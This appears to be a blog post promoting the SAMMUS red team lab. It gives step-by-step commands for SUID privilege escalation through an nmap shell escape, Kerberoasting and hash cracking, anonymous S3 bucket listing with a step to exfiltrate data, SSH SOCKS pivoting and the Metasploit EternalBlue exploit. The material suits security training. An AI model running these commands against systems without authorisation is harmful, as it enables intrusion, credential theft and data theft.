Mastering Red Team Techniques: A Deep Dive into the SAMMUS Lab

By /

Listen to this Post

Featured Image

Introduction

The SAMMUS Red Team Lab, developed by Extreme Red Team Laboratories, offers a hands-on, free training environment for cybersecurity enthusiasts to sharpen their offensive skills. Covering Linux/Windows exploitation, Active Directory attacks, cloud security misconfigurations, and advanced pivoting, this lab provides real-world scenarios for aspiring red teamers.

Learning Objectives

  • Understand privilege escalation techniques in Linux and Windows environments.
  • Master Active Directory exploitation and persistence methods.
  • Learn cloud security vulnerabilities in AWS, Azure, and GCP.

You Should Know

1. Linux Privilege Escalation via SUID Binaries

Command:

find / -perm -4000 -type f 2>/dev/null

Step-by-Step Guide:

  1. Run the command to list all SUID binaries.

2. Identify uncommon binaries (e.g., `vim`, `nmap`).

  1. Exploit misconfigured SUID files to gain root access. Example: 
    nmap --interactive 
!sh

2. Windows Active Directory: Kerberoasting Attack

Command (PowerShell):

Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -FilePath kerberoast_hashes.txt

Step-by-Step Guide:

1. Use `Invoke-Kerberoast` to extract service account hashes.

2. Export hashes for offline cracking with Hashcat.

3. Crack hashes using:

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

3. Cloud Security: AWS S3 Bucket Enumeration

Command:

aws s3 ls s3://bucket-name --no-sign-request

Step-by-Step Guide:

  1. Use AWS CLI to list publicly accessible S3 buckets.

2. Check for sensitive data (e.g., `config.json`, `backup.zip`).

3. Exploit misconfigured permissions to exfiltrate data.

4. Extreme Pivoting: SSH Dynamic Port Forwarding

Command:

ssh -D 1080 user@target-ip

Step-by-Step Guide:

  1. Set up a SOCKS proxy via SSH to pivot through a compromised host.

2. Configure tools like `proxychains` to route traffic:

proxychains nmap -sT -Pn 10.0.0.0/24

5. Vulnerability Exploitation: EternalBlue (MS17-010)

Command (Metasploit):

use exploit/windows/smb/ms17_010_eternalblue 
set RHOSTS <target-ip> 
exploit

Step-by-Step Guide:

  1. Identify vulnerable hosts using nmap -p 445 --script smb-vuln-ms17-010.
  2. Exploit unpatched SMB services to gain SYSTEM privileges.

What Undercode Say

  • Key Takeaway 1: Real-world red teaming requires adaptability—SAMMUS teaches multiple exploitation paths.
  • Key Takeaway 2: Cloud environments are increasingly targeted; mastering AWS/Azure/GCP security is critical.

The SAMMUS lab bridges the gap between theoretical knowledge and practical skills, emphasizing creative problem-solving. As organizations migrate to hybrid cloud setups, red teams must evolve tactics to address misconfigurations and zero-day exploits. Future red teamers will need deeper cloud and API security expertise to counter sophisticated defenses.

Lab Link: SAMMUS Red Team Lab

IT/Security Reporter URL:

Reported By: Panos Oikonomopoulos – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: